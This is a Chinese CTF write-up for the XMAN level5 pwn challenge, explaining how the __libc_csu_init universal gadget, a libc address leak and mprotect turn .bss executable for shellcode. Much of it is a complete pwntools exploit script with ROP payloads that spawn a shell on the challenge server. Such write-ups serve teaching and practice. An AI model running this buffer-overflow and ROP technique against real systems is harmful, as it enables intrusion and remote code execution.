zoukankan      html  css  js  c++  java
  • pwn-[XMAN]level5(通用gadget,mprotect)

    这道题涉及很多知识点,包括64位通用gadget,mprotect修改权限

    该题假设禁用了system和execve函数

     查看保护,因为system和execve被禁用,所以只能通过shellcode getshell,但因为开启了NX,需要通过mprotect函数改变指定内存(以页为单位)的权限

     查询gadget,没有pop rdx,而mprotec函数需要三个参数,可以通过通用gadget传参

    思路:

    1. 泄漏libc基址,通过偏移找到mprotect的地址
    2. 通过write将mprotect和shellcode写入bss段
    3. 利用通用gadget修改bss,最后跳转到shellcode的地址getshell

    通用gadget是怎么一回事呢?可参考:https://blog.csdn.net/weixin_44932880/article/details/103692899

    通用gadget是64位程序中用于对libc进行初始化的函数 __libc_csu_init()的一段gadget,之所以叫通用是因为这段gadget可广泛使用,能够对大部分的寄存器赋值。

    通用gadget可分为rop1和rop2两段。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,rop1的6个pop分别给rbx,rbp,r12,r13,r14,r15赋值.如果后面接rop2也就是跳转到0x400690则会分别给rdx,rsi,edi赋值。而r13,r14,r15是用户可控的,紧接着进行call调用,call的地址取决于r12和rbx的值。调用结束后还会执行add rsp,8以及紧随其后的rop1。

     

     因为我们需要改写bss段的权限,所以mprotect的参数设置为

    mprotect(0x600000,0x1000,7),指定的内存区间必须包含整个内存页。区间开始的地址start必须是一个内存页的起始地址,len长度必须是页大小的整数倍,7代表rwx。

    exp:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 from pwn import *
     4 context(arch='amd64',os='linux')
     5 context.log_level='debug'
     6 #a=process('level3_x64')
     7 a=remote("pwn2.jarvisoj.com",9884)
     8 libc=ELF("libc-2.19.so")
     9 elf=ELF("level3_x64")
    10 
    11 rop1=0x4006AA #pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15
    12 rop2=0x400690 #mov rdx,r13;mov rsi,r14;mov edi,r15
    13 rdi=0x4006b3
    14 rsi_r15=0x4006b1
    15 vuln=0x4005E6
    16 bss=elf.bss()
    17 read_plt=elf.plt['read']
    18 write_plt=elf.plt['write']
    19 write_got=elf.got['write']
    20 ############################################
    21 payload='a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0xdeadbeef)+p64(write_plt)+p64(vuln)
    22 a.send(payload)
    23 a.recvline()
    24 write_got=u64(a.recv(8))
    25 print hex(write_got)
    26 
    27 base=write_got-libc.symbols['write']
    28 mprotect_addr=base+libc.symbols['mprotect']
    29 ############################################
    30 payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(read_plt)+p64(vuln)
    31 a.recvline()
    32 a.send(payload2)
    33 shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
    34 a.send(shellcode)
    35 #gdb.attach(a)
    36 print len(shellcode)
    37 ############################################
    38 payload3='a'*0x88+p64(rop1)+p64(0)+p64(1)+p64(bss)+p64(7)+p64(0x1000)+p64(0x600000)+p64(rop2)+'a'*56+p64(bss+8)
    39 a.recvline()
    40 #g=gdb.debug('/root/level3_x64','b *')
    41 a.sendline(payload3)
    42 a.interactive()

    简单解释下payload3,下图给出了各寄存器对应的值,上文提到了call的地址为r12+rbx*8,把0赋给rbx则等价于call r12,也就是bss的地址,我们在payload2中写入了mprotect,call r12就是执行mprotect

    函数

     继续分析下rop2

     关键在于call之后的命令。存在jnz跳转,如果rbx不等于rbp,就会重新执行rop2。rbx既然设置为0那么rbp必须为1

    跳转问题解决了,程序就会执行下面的rop1。加上add rsp,8,一共需要padding 8+6*8个字节,最后再返回shellcode的位置即可getshell

     不知道为啥本地调试失败了。。。。。

  • 相关阅读:
    426 根据gop 讲解x264整个过程
    426 x264全局 完整有些东西还没理解
    SAD SATD转过来的
    帧内预测1
    4.1总结
    426 大话dct
    426 pixel赋值问题 mbcmp函数 宏定义
    426 pts dts
    每天进步一点点IAR for ARM_V6.30.1
    每天进步一点点NIOS II按键中断程序
  • 原文地址:https://www.cnblogs.com/remon535/p/13930490.html
Copyright © 2011-2022 走看看